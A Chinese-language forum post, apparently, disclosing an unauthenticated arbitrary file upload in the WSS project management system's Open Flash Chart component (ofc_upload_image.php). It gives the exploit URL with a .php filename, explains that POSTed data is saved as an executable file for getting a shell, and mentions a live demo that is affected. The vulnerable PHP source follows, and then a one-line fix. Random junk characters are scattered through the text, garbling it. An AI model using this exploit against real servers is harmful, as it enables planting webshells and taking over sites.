WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
: h2 ], F+ L3 [2 P9 x2 `
利用：
1 ~* ]4 r' C: B: V9 z' `/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

  [! v2 m& f1 G6 Y3 p  v$ Q
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

//
// In Open Flash Chart -> save_image debug mode, you
# K4 ^' Z. Z0 m" ^! `: p// will see the 'echo' text in a new window.
+ \0 b- l( }# z9 a# \; r//
1 H! ?! }! I1 g: `# L7 h) D) [
/*

! ?* W; D  P  S# [' Q: Uprint_r( $_GET );
print_r( $_POST );
print_r( $_FILES );
! E+ d& y; n4 Y% ?# |
! R$ r& ^: e) z4 Z# I% zprint_r( $GLOBALS );
* ], c6 ?3 |2 p* V7 a, [4 x0 d  K( Yprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
* p; W- [- L& e+ x
*/
// default path for the image to be stored //
. R0 s4 o9 d5 e$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
2 g- U7 ^4 E- F8 G
// full path to the saved image including filename //
6 Q( W4 s8 i  P, N- L$destination = $default_path . basename( $_GET[ 'name' ] );
$ g5 t* L, T' p6 Y
6 e/ e2 E) }) e* k/ i7 hecho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
9 L2 L* \, @1 k: H& t
//
$ U( E3 @) S: y& V// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
: ^. v/ ^$ X+ ^6 `//
8 D: ~$ s* R; y: T
5 b; ]2 N" p. Q* K5 a* ]: X$jfh = fopen($destination, 'w') or die("can't open file");
  b2 t$ c7 Z3 c' w* Hfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
8 W( Y$ v/ F5 z, A* }
  S4 ^& D# j4 H5 @/ f5 i; [8 o//
// LOOK:
, g# K6 Y# N! I  t: s4 [, N//
exit();
//
// PHP5:
) C& P8 b+ A: T. \2 v8 y//
+ u( e/ l  k9 G& ^- p1 W3 k. S, }

3 P. p" V/ S( y+ L; x" e// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
8 C& ^) ]: o0 h% @; N
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 Z5 Z* \- |+ J; u* W9 k) T
// full path to the saved image including filename //
4 b3 ^! D8 ~( k4 o4 |6 M$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
5 r( {) T0 m/ E0 c
" [2 s8 g* `! X# m- W  [, N3 e// move the image into the specified directory //
% p$ P6 P) o& F/ Eif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
" Y) P+ Q6 W2 C2 Q9 d} else {
; r/ o4 v) y! M3 C$ D9 @    echo "FILE UPLOAD FAILED";
2 `/ [" f5 H2 k8 _6 p  f. G}

; e* {0 D: \( }) z; P$ g' I4 T, p
?>
& E$ t' L. \+ k+ @+ f& j



' I9 I1 j3 G9 d9 E( \* t

# R( N% f' y( S! a. F# _修复方案：
% `2 l* ?6 j. f这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
( }* e9 H, g% \9 t* y+ y  \
  G; D3 W) z% U
8 L0 Z* a. [: y1 E
+ M6 B- b2 o! w2 |
- p2 z* x9 V# y$ N7 P! D# s